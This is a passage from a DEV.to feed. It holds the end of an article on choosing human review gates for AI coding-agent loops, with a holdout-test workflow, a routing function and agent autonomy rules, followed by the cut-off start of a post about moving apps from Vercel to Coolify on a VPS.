&lt;p&gt;There is also a direct money cost on the dark side. StrongDM's benchmark, as Willison reports it, is that a factory should spend around $1,000 per human engineer per day on tokens. Willison points out this is about $20,000 per engineer per month, which turns the approach into a business-model question for most teams.&lt;/p&gt;




&lt;h2&gt;
  
  
  The deciding factor: can a machine verify this cheaply and honestly?
&lt;/h2&gt;

&lt;p&gt;Shapiro's levels and most of the commentary around them point to the same conclusion: &lt;strong&gt;autonomy is gated by verification, not by how smart the model is.&lt;/strong&gt; A loop can go dark only when its checks are:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Cheap&lt;/strong&gt;: they run on every change without anyone waiting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fast&lt;/strong&gt;: the agent gets feedback inside its own loop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hard to fake&lt;/strong&gt;: the agent can't make them pass without doing the actual work.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The third property is where most setups fail. If the same agent writes the code and the tests, a green suite proves very little. Agents are very good at satisfying whatever check you give them, including by weakening the check.&lt;/p&gt;

&lt;p&gt;StrongDM's answer is worth studying because it targets exactly this. They keep end-to-end &lt;strong&gt;scenarios outside the codebase&lt;/strong&gt;, where the coding agents can't see them, similar to a holdout set in model training. They test against a "Digital Twin Universe" of behavioural clones of third-party services. And instead of pass/fail, they measure "satisfaction": the share of scenario runs that likely satisfy a user.&lt;/p&gt;

&lt;p&gt;You don't need their budget to apply the principle. A minimal version of a holdout gate looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# .github/workflows/holdout-gate.yml (illustrative)&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;holdout-scenarios&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pull_request&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;scenarios&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
      &lt;span class="c1"&gt;# Scenarios live in a separate repo the coding agent has no access to&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;repository&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;acme/billing-scenarios&lt;/span&gt;
          &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.SCENARIOS_READ_TOKEN }}&lt;/span&gt;
          &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;scenarios&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm ci &amp;amp;&amp;amp; npm run build&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npx playwright test --config scenarios/playwright.config.ts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important part is not Playwright or GitHub Actions. It is the boundary: &lt;strong&gt;the agent that writes the code cannot read or edit the checks that judge it.&lt;/strong&gt; Without that boundary, "dark" just means "unverified".&lt;/p&gt;




&lt;h2&gt;
  
  
  How to decide: a light switch per loop
&lt;/h2&gt;

&lt;p&gt;The most practical idea in Osmani's essay is that going fully dark or fully light both fail, in different ways. The decision belongs to each loop, not to the organisation.&lt;/p&gt;

&lt;p&gt;I find it helps to score each loop on four questions before giving it any autonomy:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;Dark is reasonable when...&lt;/th&gt;
&lt;th&gt;Keep it light when...&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;How is it verified?&lt;/td&gt;
&lt;td&gt;Type checks, property tests, holdout scenarios, linters&lt;/td&gt;
&lt;td&gt;"Looks right", or tests written by the same agent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is the blast radius?&lt;/td&gt;
&lt;td&gt;One file, one service, easy rollback&lt;/td&gt;
&lt;td&gt;Auth, payments, data migrations, public APIs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How long does the decision live?&lt;/td&gt;
&lt;td&gt;Days (a lint fix, a dependency bump)&lt;/td&gt;
&lt;td&gt;A year or more (schema, architecture, contracts)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How reversible is it?&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;git revert&lt;/code&gt; and redeploy&lt;/td&gt;
&lt;td&gt;Data loss, leaked secrets, customer emails sent&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Here is the same rubric as code, so it can live in your factory's router instead of in someone's head:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Verification&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;machine-hard-to-fake&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;machine-self-written&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;human-judgment&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;BlastRadius&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;local&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;service&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;critical&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;LoopProfile&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;verification&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Verification&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;blastRadius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;BlastRadius&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;decisionLifetimeDays&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;reversible&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;FactoryMode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dark&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;light-at-plan&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;light-at-merge&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;LONG_LIVED_DECISION_DAYS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;365&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;chooseFactoryMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;LoopProfile&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;FactoryMode&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Irreversible or critical work always gets a human before merge&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;reversible&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;blastRadius&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;critical&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;light-at-merge&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// Long-lived decisions need human judgment on the plan, not on every line&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;decisionLifetimeDays&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;LONG_LIVED_DECISION_DAYS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;light-at-plan&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;verification&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;machine-hard-to-fake&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;light-at-merge&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dark&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that there are two kinds of "light". This matters more than the dark/light split itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Light at merge&lt;/strong&gt; is classic code review: a human reads the diff. It is expensive and doesn't scale to agent output volumes, so reserve it for the small set of changes where a mistake is truly costly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Light at plan&lt;/strong&gt; moves human judgment upstream. The agent writes a short plan (approach, files it will touch, risks, how it will verify), a human approves or redirects it, and then the implementation runs with machine checks. Reviewing a one-page plan is far cheaper than reviewing 2,000 generated lines, and it catches the mistakes that tests can't: building the wrong thing.&lt;/p&gt;




&lt;h2&gt;
  
  
  Putting it into practice
&lt;/h2&gt;

&lt;p&gt;Let's walk through a hypothetical team running agents on a mid-sized SaaS product. These are the loops they might have, and where each one lands:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Loop&lt;/th&gt;
&lt;th&gt;Verification&lt;/th&gt;
&lt;th&gt;Mode&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nightly: fix one lint warning, open one small PR&lt;/td&gt;
&lt;td&gt;Linter + type check + existing tests&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Dark&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patch-level dependency bumps&lt;/td&gt;
&lt;td&gt;Lockfile diff + full test suite + holdout scenarios&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Dark&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;New endpoint in an internal admin tool&lt;/td&gt;
&lt;td&gt;Agent-written tests only&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Light at merge&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;New billing feature&lt;/td&gt;
&lt;td&gt;Holdout scenarios exist, but it touches money&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Light at plan + merge&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database schema change&lt;/td&gt;
&lt;td&gt;Migration dry run&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Light at plan + merge&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changes to auth, sessions or secrets handling&lt;/td&gt;
&lt;td&gt;Anything&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Light at merge, always&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The pattern is that dark loops are small, boring and well-guarded. That is not a limitation; it is the point. Osmani cites Dex Horthy's rule of thumb that agents hold up for roughly three to ten steps and start losing the thread past twenty. &lt;strong&gt;Short loops with strong gates are what make darkness affordable.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The agent side of this also needs to be written down, because an agent won't infer where the lights are. I keep this kind of rule in &lt;code&gt;CLAUDE.md&lt;/code&gt; so every session starts with it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;## Autonomy boundaries&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; You may open PRs without asking for: lint fixes, patch-level dependency
  bumps, test additions, docs. Keep each PR under 200 changed lines.
&lt;span class="p"&gt;-&lt;/span&gt; Before writing code for anything else, produce a plan (approach, files,
  risks, how you will verify it) and STOP for approval.
&lt;span class="p"&gt;-&lt;/span&gt; Never modify: auth, session handling, payment flows, migrations, CI
  workflows, or anything under /scenarios. Propose the change instead.
&lt;span class="p"&gt;-&lt;/span&gt; Never weaken an existing test or assertion to make it pass.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The last line is there because it is the most common way an unattended loop "succeeds" while failing.&lt;/p&gt;

&lt;p&gt;Finally, instrument the dark loops. If no human reads the code, humans must at least be able to see what the factory did: which loop produced which change, what checks ran, how often each loop escalates or gets reverted. A rising revert rate on a dark loop is the signal to turn its light back on.&lt;/p&gt;




&lt;h2&gt;
  
  
  Trade-offs and when the dark factory is the wrong choice
&lt;/h2&gt;

&lt;p&gt;I'm sceptical of going fully dark on any system that people depend on, and I think the sceptics have the stronger argument today. But a blanket "never" is also wrong.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Dark factory&lt;/th&gt;
&lt;th&gt;Light factory&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Throughput&lt;/td&gt;
&lt;td&gt;Limited by compute and budget&lt;/td&gt;
&lt;td&gt;Limited by reviewer attention&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Main risk&lt;/td&gt;
&lt;td&gt;Comprehension debt, silent wrong behaviour&lt;/td&gt;
&lt;td&gt;Rubber-stamp reviews, slow delivery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Upfront investment&lt;/td&gt;
&lt;td&gt;Very high: holdout scenarios, service twins, observability&lt;/td&gt;
&lt;td&gt;Moderate: plan templates, review discipline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token cost&lt;/td&gt;
&lt;td&gt;High (StrongDM's benchmark: ~$1,000/engineer/day)&lt;/td&gt;
&lt;td&gt;Lower&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Best fit&lt;/td&gt;
&lt;td&gt;Well-specified, reversible, heavily tested work&lt;/td&gt;
&lt;td&gt;Ambiguous, long-lived, high blast radius work&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Don't run a loop in the dark if any of these are true:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;You can't write the checks independently of the agent.&lt;/strong&gt; If the only tests are the ones the agent wrote, you are trusting the agent to grade itself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The domain is regulated or safety-relevant.&lt;/strong&gt; "No human reviewed this" is a hard answer to give an auditor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The system is a legacy codebase with weak tests.&lt;/strong&gt; Agents amplify whatever is there. In a poorly documented system, they amplify the confusion.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nobody on the team could debug it.&lt;/strong&gt; If the code breaks at 3 a.m., someone has to understand it. If that person doesn't exist, you are borrowing against comprehension you don't have.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And don't keep a loop light just out of habit. Asking senior engineers to line-review a dependency bump that a solid test suite already verified is how review stops being meaningful for the changes that need it.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Is a dark factory the same as "vibe coding"?&lt;/strong&gt;&lt;br&gt;
No. Vibe coding skips verification. A serious dark factory replaces human review with heavier machine verification: hidden scenarios, service twins, conformance checks. The absence of review is only defensible when the verification is stronger than review would have been.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Who coined the terms?&lt;/strong&gt;&lt;br&gt;
"Dark factory" comes from lights-out manufacturing. In software, Dan Shapiro's five levels and StrongDM's published approach (both covered by Simon Willison) popularised it in early 2026. The light/dark pairing for software factories is laid out in Addy Osmani's July 2026 essay. The terms are still informal and people draw the lines differently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does a light factory mean reviewing every line the agent writes?&lt;/strong&gt;&lt;br&gt;
It shouldn't. The most effective place for human judgment is the plan and the architecture, before the code exists. Line-level review is for the small set of high-risk changes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can a team move from light to dark over time?&lt;/strong&gt;&lt;br&gt;
Yes, one loop at a time. When a loop has strong independent checks and a low revert rate over a sustained period, reduce the human gate. When the revert rate rises, add it back.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does architecture still matter if agents write the code?&lt;/strong&gt;&lt;br&gt;
More than before. Clear module boundaries, good types, dependency injection and test seams are what make machine verification possible. Weak architecture forces you to keep everything light.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The dark vs. light choice is about the review gate&lt;/strong&gt;, not about how much code the agent writes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Autonomy is gated by verification.&lt;/strong&gt; A loop can go dark only when its checks are cheap, fast and hard to fake.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Separate the checker from the doer.&lt;/strong&gt; Keep holdout scenarios where the coding agent can't read or edit them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Move human judgment upstream.&lt;/strong&gt; Reviewing a plan is cheaper and catches more than reviewing generated lines.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Decide per loop.&lt;/strong&gt; Lint fixes can run in the dark; auth, payments and migrations stay lit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Watch the revert rate.&lt;/strong&gt; It tells you when a dark loop needs its light back on.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Which loop in your team runs unwatched today, and what check do you trust to catch it when it's wrong? I'd like to hear it in the comments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to, let's connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>architecture</category>
      <category>softwareengineering</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Why I Left Vercel for Coolify on My Own VPS</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Tue, 20 Oct 2026 08:09:09 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/why-i-left-vercel-for-coolify-on-my-own-vps-3l0c</link>
      <guid>https://dev.to/soaresdiogo/why-i-left-vercel-for-coolify-on-my-own-vps-3l0c</guid>
      <description>&lt;p&gt;A huge share of MVPs today look the same: a &lt;strong&gt;Next.js&lt;/strong&gt; app, pushed to GitHub, deployed on &lt;strong&gt;Vercel&lt;/strong&gt; in two clicks. I've built that way too, and for a first demo it's hard to beat.&lt;/p&gt;

&lt;p&gt;The problem shows up when the MVP starts working. A page gets shared, a bot finds your API, a query gets slow. On a usage-based platform, &lt;strong&gt;every one of those requests is on the bill&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Today I run &lt;strong&gt;7 applications, 5 databases and an observability stack on a single VPS&lt;/strong&gt;, managed by &lt;a href="https://coolify.io" rel="noopener noreferrer"&gt;Coolify&lt;/a&gt;. From Next.js and Node.js to Python services and self-hosted infrastructure, I deploy different stacks without depending on a platform-specific runtime. And an AI agent helps me run it, under permissions that limit what it can touch.&lt;/p&gt;

&lt;p&gt;This post covers why I left Vercel, what Coolify on a VPS gives you (and what it doesn't), how to move a Next.js app, and how I let an AI agent manage the infrastructure without handing it the keys.&lt;/p&gt;




&lt;h2&gt;
  
  
  The problem with Vercel for MVPs: you can't predict the bill
&lt;/h2&gt;

&lt;p&gt;Vercel is a great product. The issue is the &lt;strong&gt;pricing model&lt;/strong&gt;. On the Pro plan you pay per seat, then usage on top of the included amounts: function invocations, active CPU, data transfer, edge requests. At the time of writing, the plan starts at &lt;strong&gt;$20 per seat per month&lt;/strong&gt;, and published usage rates include around &lt;strong&gt;$0.15 per GB&lt;/strong&gt; of data transfer beyond the included 1 TB (it varies by region) and &lt;strong&gt;$0.60 per million&lt;/strong&gt; invocations. Check &lt;a href="https://vercel.com/pricing" rel="noopener noreferrer"&gt;vercel.com/pricing&lt;/a&gt; for current numbers.&lt;/p&gt;

&lt;p&gt;For a steady, low-traffic app that's cheap. For an MVP it's a risk, because MVP traffic is the one thing you can't forecast. Some hypothetical but realistic scenarios:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What happens&lt;/th&gt;
&lt;th&gt;What it costs you&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;An image-heavy page goes viral: 5 TB in a month&lt;/td&gt;
&lt;td&gt;~4 TB over the included amount, &lt;strong&gt;roughly $600&lt;/strong&gt; in data transfer alone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A scraper calls your API in a loop&lt;/td&gt;
&lt;td&gt;Invocations and CPU time grow with every call&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A slow query makes each function run longer&lt;/td&gt;
&lt;td&gt;Active CPU grows even when traffic doesn't&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Vercel's &lt;a href="https://vercel.com/docs/spend-management" rel="noopener noreferrer"&gt;Spend Management&lt;/a&gt; lets you set a budget, get alerts and optionally pause production deployments when you reach it. That's useful, but it leaves you choosing between &lt;strong&gt;a bigger bill or a paused app&lt;/strong&gt;, right when people are looking.&lt;/p&gt;

&lt;p&gt;What I wanted was boring: &lt;strong&gt;an infrastructure bill I know in advance.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What Coolify on a VPS gives you
&lt;/h2&gt;

&lt;p&gt;Coolify is an open-source, self-hostable platform that covers most of what I used on Vercel:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Git push to deploy&lt;/strong&gt;, with Nixpacks, a Dockerfile or Docker Compose&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automatic HTTPS&lt;/strong&gt; with Let's Encrypt, through Traefik&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Preview deployments&lt;/strong&gt; for pull requests&lt;/li&gt;
&lt;li&gt;One-click &lt;strong&gt;databases&lt;/strong&gt; with scheduled backups to S3-compatible storage&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scheduled tasks&lt;/strong&gt;, env variables, logs, health checks, rollbacks and an API&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Everything runs in Docker, so each app is a standard container and nothing is tied to Coolify.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For me, the biggest advantage isn't the price. It's not being tied to one framework or runtime.&lt;/strong&gt; My Next.js apps run alongside Node.js APIs, Python services and background jobs, and I deploy all of them the same way: a Dockerfile or a Docker Compose file, a Git repository, a merge into &lt;code&gt;main&lt;/code&gt;. A new stack doesn't mean a new hosting provider or a new deploy workflow.&lt;/p&gt;

&lt;p&gt;That extends beyond applications. Postgres, Redis, monitoring and S3-compatible object storage (MinIO or SeaweedFS, for example) run on the same server, and Coolify manages their deployment and lifecycle. It feels less like hosting a few apps and more like running my own small application platform. One caveat: object storage on a single VPS doesn't give you the durability of a managed service like Amazon S3, so keep anything you can't lose backed up elsewhere. Coolify can also send its backups to external S3-compatible storage.&lt;/p&gt;

&lt;p&gt;My setup is a single KVM VPS with Coolify on the same machine:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Server&lt;/td&gt;
&lt;td&gt;4 vCPUs, 16 GB RAM, 200 GB NVMe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
